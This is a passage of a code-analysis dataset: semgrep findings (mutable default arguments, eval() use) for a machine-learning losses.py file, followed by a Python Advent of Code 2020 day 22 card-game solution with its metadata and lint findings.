"owasp_category": null, "references": [{"url": "https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "path": "/tmp/tmpb8jm_z1l/4f869c82d83d165c.py", "start": {"line": 8, "col": 5, "offset": 345}, "end": {"line": 8, "col": 34, "offset": 374}, "extra": {"message": "Function softmax_cross_entropy mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.common-mistakes.default-mutable-dict_4f869c82d83d165c_6770f5a1", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Function softmax_cross_entropy mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "remediation": "", "location": {"file_path": "unknown", "line_start": 9, "line_end": 9, "column_start": 5, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "path": "/tmp/tmpb8jm_z1l/4f869c82d83d165c.py", "start": {"line": 9, "col": 5, "offset": 379}, "end": {"line": 9, "col": 29, "offset": 403}, "extra": {"message": "Function softmax_cross_entropy mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.common-mistakes.default-mutable-dict_4f869c82d83d165c_a749fb1e", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Function weighted_mse_loss mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "remediation": "", "location": {"file_path": "unknown", "line_start": 31, "line_end": 31, "column_start": 5, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "path": "/tmp/tmpb8jm_z1l/4f869c82d83d165c.py", "start": {"line": 31, "col": 5, "offset": 1565}, "end": {"line": 31, "col": 34, "offset": 1594}, "extra": {"message": "Function weighted_mse_loss mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.common-mistakes.default-mutable-dict_4f869c82d83d165c_c082ff16", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Function weighted_mse_loss mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "remediation": "", "location": {"file_path": "unknown", "line_start": 32, "line_end": 32, "column_start": 5, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "path": "/tmp/tmpb8jm_z1l/4f869c82d83d165c.py", "start": {"line": 32, "col": 5, "offset": 1599}, "end": {"line": 32, "col": 29, "offset": 1623}, "extra": {"message": "Function weighted_mse_loss mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.common-mistakes.default-mutable-dict_4f869c82d83d165c_f5889148", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Function dense_softmax_cross_entropy mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "remediation": "", "location": {"file_path": "unknown", "line_start": 118, "line_end": 118, "column_start": 5, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "path": "/tmp/tmpb8jm_z1l/4f869c82d83d165c.py", "start": {"line": 118, "col": 5, "offset": 5423}, "end": {"line": 118, "col": 34, "offset": 5452}, "extra": {"message": "Function dense_softmax_cross_entropy mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.common-mistakes.default-mutable-dict_4f869c82d83d165c_61add4d3", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Function dense_softmax_cross_entropy mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "remediation": "", "location": {"file_path": "unknown", "line_start": 119, "line_end": 119, "column_start": 5, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "path": "/tmp/tmpb8jm_z1l/4f869c82d83d165c.py", "start": {"line": 119, "col": 5, "offset": 5457}, "end": {"line": 119, "col": 30, "offset": 5482}, "extra": {"message": "Function dense_softmax_cross_entropy mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.common-mistakes.default-mutable-dict_4f869c82d83d165c_00faca8a", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Function dense_cross_entropy mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "remediation": "", "location": {"file_path": "unknown", "line_start": 128, "line_end": 128, "column_start": 5, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "path": "/tmp/tmpb8jm_z1l/4f869c82d83d165c.py", "start": {"line": 128, "col": 5, "offset": 5822}, "end": {"line": 128, "col": 34, "offset": 5851}, "extra": {"message": "Function dense_cross_entropy mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.common-mistakes.default-mutable-dict_4f869c82d83d165c_7e76ab99", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Function dense_cross_entropy mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "remediation": "", "location": {"file_path": "unknown", "line_start": 129, "line_end": 129, "column_start": 5, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "path": "/tmp/tmpb8jm_z1l/4f869c82d83d165c.py", "start": {"line": 129, "col": 5, "offset": 5856}, "end": {"line": 129, "col": 30, "offset": 5881}, "extra": {"message": "Function dense_cross_entropy mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_4f869c82d83d165c_c54f253b", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 169, "line_end": 169, "column_start": 40, "column_end": 57, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/4f869c82d83d165c.py", "start": {"line": 169, "col": 40, "offset": 7840}, "end": {"line": 169, "col": 57, "offset": 7857}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_4f869c82d83d165c_80dc9d3e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 174, "line_end": 174, "column_start": 35, "column_end": 52, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/4f869c82d83d165c.py", "start": {"line": 174, "col": 35, "offset": 8277}, "end": {"line": 174, "col": 52, "offset": 8294}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_4f869c82d83d165c_98c2aa39", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 217, "line_end": 217, "column_start": 40, "column_end": 57, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/4f869c82d83d165c.py", "start": {"line": 217, "col": 40, "offset": 10458}, "end": {"line": 217, "col": 57, "offset": 10475}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_4f869c82d83d165c_aef43c00", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 226, "line_end": 226, "column_start": 38, "column_end": 55, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/4f869c82d83d165c.py", "start": {"line": 226, "col": 38, "offset": 11010}, "end": {"line": 226, "col": 55, "offset": 11027}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
12
true
[ "CWE-95", "CWE-95", "CWE-95", "CWE-95" ]
[ "rules.python.lang.security.audit.eval-detected", "rules.python.lang.security.audit.eval-detected", "rules.python.lang.security.audit.eval-detected", "rules.python.lang.security.audit.eval-detected" ]
[ "security", "security", "security", "security" ]
[ "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 169, 174, 217, 226 ]
[ 169, 174, 217, 226 ]
[ 40, 35, 40, 38 ]
[ 57, 52, 57, 55 ]
[ "A03:2021 - Injection", "A03:2021 - Injection", "A03:2021 - Injection", "A03:2021 - Injection" ]
[ "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "Detected the use of eval(). eval() can be dangerous if used...
[ 5, 5, 5, 5 ]
[ "LOW", "LOW", "LOW", "LOW" ]
[ "HIGH", "HIGH", "HIGH", "HIGH" ]
losses.py
/evkit/utils/losses.py
lilujunai/side-tuning
MIT
2024-11-18T18:05:44.364393+00:00
1,611,199,867,000
ee5b19626616ec7568a5cb774bc5a76529f3c51e
3
{ "blob_id": "ee5b19626616ec7568a5cb774bc5a76529f3c51e", "branch_name": "refs/heads/main", "committer_date": 1611199867000, "content_id": "18f2c7b9a15197f4a4144413fbc6b994a8d3c99f", "detected_licenses": [ "MIT" ], "directory_id": "6803e1834d76c7a9c1fd2484bbfb438615c341a2", "extension": "py", "filename": "d22b.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 331503553, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2146, "license": "MIT", "license_type": "permissive", "path": "/d22b.py", "provenance": "stack-edu-0054.json.gz:568765", "repo_name": "jogloran/advent-of-code-2020", "revision_date": 1611199867000, "revision_id": "9804f1eb8d94c991d9aa3348f01f4bf65c195849", "snapshot_id": "50b2eb208f10ac9c832dd35cd3b07d8b27d09ad2", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/jogloran/advent-of-code-2020/9804f1eb8d94c991d9aa3348f01f4bf65c195849/d22b.py", "visit_date": "2023-02-22T00:52:13.546412" }
2.921875
stackv2
from more_itertools import split_at grps = split_at(map(str.rstrip, open('d22.txt')), pred=lambda e: e == '') grps = list(grps) grp1 = list(map(int, grps[0][1:])) grp2 = list(map(int, grps[1][1:])) FIRST_DECK_WON = 0 SECOND_DECK_WON = 1 old_print=print print=lambda *args: None def match(grp1, grp2, depth=0): memo = set() print('Match') print('-' * 30) round = 1 while grp1 and grp2: print(f'Round {round} (Game {depth + 1})'); round += 1 print(f"Player 1's deck: {','.join(map(str,grp1))}") print(f"Player 2's deck: {','.join(map(str,grp2))}\n") if (tuple(grp1), tuple(grp2)) in memo: print('Game repeat detected') return FIRST_DECK_WON if len(grp1) > grp1[0] and len(grp2) > grp2[0]: memo.add((tuple(grp1), tuple(grp2))) which_deck_won = match(grp1[:][1:1+grp1[0]], grp2[:][1:1+grp2[0]], depth+1) print(f"Returning from sub-game {depth+1}") print("<" * 30) if which_deck_won == FIRST_DECK_WON: print(f'Player 1 won sub-game {depth+1}') # if player 1 wins, then the order of cards added to player 1's deck # is P1's winning card, _then_ P2's losing card grp1.append(grp1[0]) grp1.append(grp2[0]) else: print(f'Player 2 won sub-game {depth+1}') grp2.append(grp2[0]) grp2.append(grp1[0]) elif grp1[0] < grp2[0]: # p2 wins memo.add((tuple(grp1), tuple(grp2))) grp2.append(grp2[0]) grp2.append(grp1[0]) else: # p1 wins memo.add((tuple(grp1), tuple(grp2))) grp1.append(grp1[0]) grp1.append(grp2[0]) del grp1[0] del grp2[0] winner = SECOND_DECK_WON if not grp1 else FIRST_DECK_WON return winner winner = match(grp1, grp2) winner = grp2 if winner == SECOND_DECK_WON else grp1 pts = sum((len(winner) - pos) * val for pos, val in enumerate(winner)) old_print(pts) # return (SECOND_DECK_WON if not grp1 else FIRST_DECK_WON), pts
61
34.2
87
17
668
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_55824a47a9bd1ce1_67992cf1", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 2, "line_end": 2, "column_start": 33, "column_end": 48, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/55824a47a9bd1ce1.py", "start": {"line": 2, "col": 33, "offset": 68}, "end": {"line": 2, "col": 48, "offset": 83}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_55824a47a9bd1ce1_909ab579", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 2, "line_end": 2, "column_start": 66, "column_end": 73, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/55824a47a9bd1ce1.py", "start": {"line": 2, "col": 66, "offset": 101}, "end": {"line": 2, "col": 73, "offset": 108}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_55824a47a9bd1ce1_faddd80a", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 11, "line_end": 11, "column_start": 21, "column_end": 25, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/55824a47a9bd1ce1.py", "start": {"line": 11, "col": 21, "offset": 275}, "end": {"line": 11, "col": 25, "offset": 279}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
